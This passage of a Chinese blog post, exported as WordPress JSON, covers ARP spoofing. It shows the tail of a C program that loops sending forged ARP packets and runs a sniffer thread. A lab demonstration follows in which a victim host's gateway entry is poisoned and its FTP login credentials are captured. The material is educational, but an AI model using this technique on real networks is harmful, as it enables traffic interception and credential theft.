style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(PI.desMAC,B_MAC,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(PI.srcIP,(char&nbsp;*)&amp;A_addr,4);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(PI.myIP,myIPAddress,4);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(PI.myMAC,myMAC,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5f00\u542f\u55c5\u63a2\u7ebf\u7a0b<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle((hSnifferThread=CreateThread(NULL,0,Ether_Sniffer,(PVOID)&amp;PI,0,NULL)));<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;while(1)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sleep(1000);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendPacket(hpcap,ARPPacket,sizeof(ARPPacket));&nbsp;&nbsp;&nbsp;\/\/\u53d1\u9001ARP\u6b3a\u9a97\u5305<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u4e0b\u9762\u6765\u505a\u4e00\u4e2a\u5b9e\u9a8c\uff0c\u5728\u540c\u4e00\u7f51\u5173\uff08MAC:c8-3a-35-39-38-b0,IP:192.168.0.1\uff09\u4e0b\u6709A\uff08MAC:00-26-C7-3D-3A-4A,IP:192.168.0.100\uff09,B\uff08MAC:00-0c-29-06-<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">8c-51,IP:192.168.0.101\uff09\u4e24\u53f0\u4e3b\u673a\uff0c\u82e5A\u60f3\u7528\u7a0b\u5e8f\u5b9e\u73b0\u5355\u5411\u6b3a\u9a97A\u4e3b\u673a\u5230\u7f51\u5173\u7684\u6570\u636e\uff0c\u770b\u56fe\u4e2d\u6240\u793a\u586b\u5199\u7684\u65b9\u5f0f\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/adaf0ad2e085c835a82b2f021fe236ae20140124162544.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:163\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-adaf0ad2e085c835a82b2f021fe236ae20140124162544.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" height=\"292\" width=\"447\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u7a0b\u5e8f\u5f00\u59cb\u6b3a\u9a97\u540e\u6211\u4eec\u5728<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">B<span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u4e0a\u8fd0\u884c\u6293\u5305\u5de5\u5177\u770b\u770b\u6293\u53d6\u5230\u7684<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5305\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/cf5793938b321b67b3b667655b37570320140124162556.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:164\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-cf5793938b321b67b3b667655b37570320140124162556.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" height=\"215\" width=\"482\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u7531\u6b64\u53ef\u89c1<span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u4e0d\u65ad\u7684\u6536\u5230\u4e86\u6765\u81ea<\/span><span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u7684<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5e94\u7b54\u5305\uff0c\u6253\u5f00\u5176\u4e2d\u4e00\u770b\u770b\u770b\u5177\u4f53\u5185\u5bb9\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/e0e28452229af52e70f87dd03c3a30c220140124162559.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:165\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-e0e28452229af52e70f87dd03c3a30c220140124162559.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">\u5728\u201c<\/span><span style=\"font-size:10.5000pt;font-family:'\u5b8b\u4f53'\">ARP-<span style=\"font-family:\u5b8b\u4f53\">\u5730\u5740\u89e3\u6790\u534f\u8bae\u201d\u90a3\u4e00\u9879\u4e2d\u770b\u89c1\u201c\u6e90\u7269\u7406\u5730\u5740\u201d\u548c\u201c\u6e90<\/span><span style=\"font-family:'Times New Roman'\">IP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5730\u5740\u201d\u90a3\u9519\u8bef\u7684\u5bf9\u5e94\u5173\u7cfb\u4e86\u5417\uff1f\u518d\u770b\u770b<\/span><span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u7684<\/span><span style=\"font-family:'Times New Roman'\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u7f13\u5b58\u8868\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'\u5b8b\u4f53'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/129e458698c4745a32d44582161b51d820140124162600.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:166\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-129e458698c4745a32d44582161b51d820140124162600.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u7f51\u5173<span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u5df2\u7ecf\u88ab\u6210\u529f\u66ff\u6362\u4e3a<\/span><span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u7684<\/span><span style=\"font-family:'Times New Roman'\">MAC<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e86\uff0c\u8fd9\u6837<\/span><span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u5411\u7f51\u5173\u53d1\u9001\u7684\u6570\u636e\u90fd\u4f1a\u6d41\u7ecf<\/span><span style=\"font-family:'Times New Roman'\">A<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u4e86\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u4e0b\u9762\u6211\u4eec\u5728<span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u4e0a\u5c1d\u8bd5\u8bbf\u95ee\u4e00\u4e0b\u4e00\u4e2a<\/span><span style=\"font-family:'Times New Roman'\">FTP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u670d\u52a1\u5668\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/e25418821200a0f7c8f9f81b22d2169120140124162603.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:167\"><img decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-e25418821200a0f7c8f9f81b22d2169120140124162603.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u8f93\u5165\u8d26\u53f7\u548c\u5bc6\u7801\u540e\u6211\u4eec\u70b9\u51fb\u767b\u9646\uff0c\u5728<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">A<span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u4e0a\u8fd0\u884c\u6293\u5305\u5de5\u5177\u770b\u770b\u6355\u83b7\u5230\u7684\u6570\u636e<\/span><\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'Times New Roman'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/e3e6f22244e557f1758d397a9873414520140124162617.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:168\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-e3e6f22244e557f1758d397a9873414520140124162617.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" height=\"190\" width=\"519\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u7531\u6b64\u53ef\u89c1<\/span><span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">,B<span style=\"font-family:\u5b8b\u4f53\">\u4e3b\u673a\u8bbf\u95ee<\/span><span style=\"font-family:'Times New Roman'\">FTP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u7684\u6570\u636e\u5305\u88ab\u6210\u529f\u7684\u6b3a\u9a97\u8fc7\u6765\u4e86\uff0c\u6211\u4eec\u518d\u53bb\u770b\u770b\u81ea\u5df1\u5199\u7684\u7a0b\u5e8f\u6709\u6ca1\u6709\u4ec0\u4e48\u53cd\u5e94\uff1a<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'\u5b8b\u4f53'\"><a target=\"_blank\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/f0d0b070be593820651230120b0374be20140124162633.jpg\" data-rel=\"penci-gallery-image-content\"  id=\"ematt:169\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-f0d0b070be593820651230120b0374be20140124162633.jpg\" alt=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" height=\"288\" width=\"442\" \/><\/a><br \/>\n<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u54c8\u54c8\uff0c\u5df2\u7ecf\u6210\u529f\u7684\u5c06<span style=\"font-family:'Times New Roman'\">B<\/span><span style=\"font-family:\u5b8b\u4f53\">\u53d1\u9001\u7ed9<\/span><span style=\"font-family:'Times New Roman'\">FTP<\/span><span style=\"font-family:\u5b8b\u4f53\">\u670d\u52a1\u5668\u7684\u8d26\u53f7\u548c\u5bc6\u7801\u622a\u83b7\u4e0b\u6765\u4e86\u3002<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u6587\u7ae0\u5230\u6b64\u7ed3\u675f\uff0c\u7531\u4e8e\u5c0f\u83dc\u6c34\u5e73\u6709\u9650\uff0c\u5982\u679c\u6587\u4e2d\u6709\u4ec0\u4e48\u5199\u9519\u7684\u5730\u65b9\u6b22\u8fce\u5404\u4f4d\u770b\u5b98\u6279\u8bc4\u6307\u6b63\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span>\n<\/p>\n<p>\n<!--[if gte mso 9]&gt;&lt;![endif]--><\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p><!--[if gte mso 9]><xml><w:worddocument><w:browserlevel>MicrosoftInternetExplorer4<\/w:browserlevel><w:displayhorizontaldrawinggridevery>0<\/w:displayhorizontaldrawinggridevery><w:displayverticaldrawinggridevery>2<\/w:displayverticaldrawinggridevery><w:documentkind>DocumentNotSpecified<\/w:documentkind><w:drawinggridverticalspacing>7.8<\/w:drawinggridverticalspacing><w:view>Normal<\/w:view><w:compatibility><w:dontgrowautofit \/><\/w:compatibility><w:zoom>0<\/w:zoom><\/w:worddocument><\/xml><![endif]--><\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt;\">\n\t<span style=\"mso-spacerun:'yes';font-size:16.0000pt;font-family:'\u5b8b\u4f53';\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ARP<span style=\"font-family:\u5b8b\u4f53;\">\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0<\/span><span style=\"font-family:'Times New Roman';\">ARP<\/span><span style=\"font-family:\u5b8b\u4f53;\">\u6b3a\u9a97\u653b\u51fb<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt;\">\n\t<span style=\"mso-spacerun:'yes';font-size:16.0000pt;font-family:'\u5b8b\u4f53';\"><span style=\"font-family:\u5b8b\u4f53;\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;nb&#8230;<\/span><\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt;\">\n\t<xml><w:worddocument><w:compatibility><w:dontgrowautofit><\/w:dontgrowautofit><\/w:compatibility><\/w:worddocument><\/xml>\n<\/p>\n<p>\n\t<xml><w:worddocument><w:compatibility><w:dontgrowautofit><\/w:dontgrowautofit><\/w:compatibility><\/w:worddocument><\/xml>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;\">\n\t<xml><w:worddocument><w:compatibility><w:dontgrowautofit><\/w:dontgrowautofit><\/w:compatibility><\/w:worddocument><\/xml>\n<\/p>\n<p><xml><w:worddocument><w:compatibility><w:dontgrowautofit><\/w:dontgrowautofit><\/w:compatibility><\/w:worddocument><\/xml><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[324],"tags":[],"class_list":["post-71","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v16.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>ARP\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0ARP\u6b3a\u9a97\u653b\u51fb - Wayne&#039;s Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=71\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"ARP\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0ARP\u6b3a\u9a97\u653b\u51fb - Wayne&#039;s Blog\" \/>\n<meta property=\"og:description\" content=\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ARP\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0ARP\u6b3a\u9a97\u653b\u51fb    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;nb...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=71\" \/>\n<meta property=\"og:site_name\" content=\"Wayne&#039;s Blog\" \/>\n<meta property=\"article:published_time\" content=\"2014-01-24T16:01:50+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-4a47a0db6e60853dedfcfdf08a5ca24920140124160301.png\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"43 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne&#039;s Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/weizn.net\/?p=71#primaryimage\",\"inLanguage\":\"zh-Hans\",\"url\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-4a47a0db6e60853dedfcfdf08a5ca24920140124160301.png\",\"contentUrl\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-4a47a0db6e60853dedfcfdf08a5ca24920140124160301.png\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=71#webpage\",\"url\":\"http:\/\/weizn.net\/?p=71\",\"name\":\"ARP\\u7b80\\u8ff0\\u4ee5\\u53ca\\u7f16\\u7a0b\\u5b9e\\u73b0ARP\\u6b3a\\u9a97\\u653b\\u51fb - Wayne&#039;s Blog\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/#website\"},\"primaryImageOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=71#primaryimage\"},\"datePublished\":\"2014-01-24T16:01:50+00:00\",\"dateModified\":\"2014-01-24T16:01:50+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/weizn.net\/?p=71#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/weizn.net\/?p=71\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/weizn.net\/?p=71#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\\u9996\\u9875\",\"item\":\"http:\/\/weizn.net\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"ARP\\u7b80\\u8ff0\\u4ee5\\u53ca\\u7f16\\u7a0b\\u5b9e\\u73b0ARP\\u6b3a\\u9a97\\u653b\\u51fb\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/weizn.net\/?p=71#article\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/?p=71#webpage\"},\"author\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"headline\":\"ARP\\u7b80\\u8ff0\\u4ee5\\u53ca\\u7f16\\u7a0b\\u5b9e\\u73b0ARP\\u6b3a\\u9a97\\u653b\\u51fb\",\"datePublished\":\"2014-01-24T16:01:50+00:00\",\"dateModified\":\"2014-01-24T16:01:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=71#webpage\"},\"wordCount\":8615,\"commentCount\":1,\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"image\":{\"@id\":\"http:\/\/weizn.net\/?p=71#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-4a47a0db6e60853dedfcfdf08a5ca24920140124160301.png\",\"articleSection\":[\"C\/C++\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\/\/weizn.net\/?p=71#respond\"]}]},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\",\"name\":\"zinan\",\"logo\":{\"@id\":\"http:\/\/weizn.net\/#personlogo\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"ARP\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0ARP\u6b3a\u9a97\u653b\u51fb - Wayne&#039;s Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/weizn.net\/?p=71","og_locale":"zh_CN","og_type":"article","og_title":"ARP\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0ARP\u6b3a\u9a97\u653b\u51fb - Wayne&#039;s Blog","og_description":"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ARP\u7b80\u8ff0\u4ee5\u53ca\u7f16\u7a0b\u5b9e\u73b0ARP\u6b3a\u9a97\u653b\u51fb    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;nb...","og_url":"http:\/\/weizn.net\/?p=71","og_site_name":"Wayne&#039;s Blog","article_published_time":"2014-01-24T16:01:50+00:00","og_image":[{"url":"http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-4a47a0db6e60853dedfcfdf08a5ca24920140124160301.png"}],"twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"zinan","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"43 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/weizn.net\/#website","url":"http:\/\/weizn.net\/","name":"Wayne&#039;s Blog","description":"","publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/weizn.net\/?s={search_term_string}"},"query-input":"required 